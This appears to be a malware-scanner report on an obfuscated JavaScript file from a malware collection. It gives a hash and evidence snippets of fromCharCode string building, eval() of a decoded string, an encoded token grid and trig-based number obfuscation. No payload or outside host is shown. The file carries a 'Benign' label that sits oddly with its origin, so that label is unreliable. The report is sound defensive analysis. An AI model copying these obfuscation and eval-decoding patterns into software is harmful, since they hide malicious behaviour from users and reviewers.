Benign javascript-malware-collection Download

0102927e5d50002ae802c67a0d4294e15a324550adb9b342220bf60902e286c6.js

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-2560102927e5d50002ae802c67a0d4294e15a324550adb9b342220bf60902e286c6

Evidence

Builds characters with String.fromCharCode line 2

2:146… 'C',':',')','=','h','(','=','y','x','F','k','Z','u','Z','1','?',String.fromCharCode(10),'y',']','&','h','k','2','R','B','<','F','d','i','Q','g','l','t','A','4',String.fromCharCode(13),']','X',']','k','h','w','e' …

Executes JavaScript dynamically with eval() lines 5–9

5:51… PxGxFdIfItEzdoQXvEOysbiqRbg,EmevUWLBsCauALMVrkHIXTCJKYfxZAofGSV){eval(cWjBPcFgkVNVoTkGV);}
6function PTwtYobcYbOopcQJaRMsOKRmAzFjXXszZXhZfwAeyewMOBbRSruIDP(NPdmWnFuxtqnR,SbQMCwwZFxPjaE){ return DUFElZu[JUuGUqXG[Yycfl(NPdmWnFuxtqnR[SbQMCwwZFxPjaE],(2621+151)/99,(997+203)/120)]];}
7function CqxwfWF(jzjkqJVHjQChQwxKsjxEkroJchxRZOVfAATw) {return !BtYlsjxHXiB(zLhHEgADmpPKoLx(jzjkqJVHjQChQwxKsjxEkroJchxRZOVfAATw)) && oJDQnQHhBcXR(jzjkqJVHjQChQwxKsjxEkroJchxRZOVfAATw);}
8function BtYlsjxHXiB(zIqqLAhAMYnMNB) {return isNaN(zIqqLAhAMYnMNB);}
9function oJDQnQHhBcXR(SfQnTmTbxGLEC) {return isFinite(SfQnTmTbxGLEC); …

Dense indexed short-token grid lines 12–13

12:33… DNmdegk,conionOuEkC) {gjNrOWDPWAzPHC[HNsecSDNmdegk]=conionOuEkC;}
13var j = new Array();j[0]=[];j[0][0]='d';j[0][1]='a';j[0][2]='d';j[0][3]='a';j[0][4]='46';j[0][5]='3d';j[0][6]='42';j[0][7]='14';j[0][8]='34';j[0][9]='14';j[0][10]='25';j[0][11]='14';j[0][12]='16';j[0][13]='47';j[0][14]='3k';j[0][15 …

Numeric sine-square obfuscation expression lines 19–21

19:30… ],j[4],j[5]];
20var hPPcMuBco=[];
21function rKzUBSmKWzinXDRAR(xFnYt){sHEuZzpXEhV= '';DolbhHojBlO=Math.round((Math.pow(Math.sin(292), 2) + Math.pow(Math.cos(292), 2) - 1));while(true){if (DolbhHojBlO >= (-177+903)/121){break;}hPPcMuBco[DolbhHojBlO]=Math.round((Math.pow(Math.sin(169), 2) + Math.pow(Math.cos(169), 2) - 1)); while(true) { if(hPPcMuBco[DolbhHojBlO] > xFnYt[DolbhHojBlO].length-(-15+467)/452) { break; } if (CqxwfWF(Yycfl(xFnYt[DolbhHojBlO][ …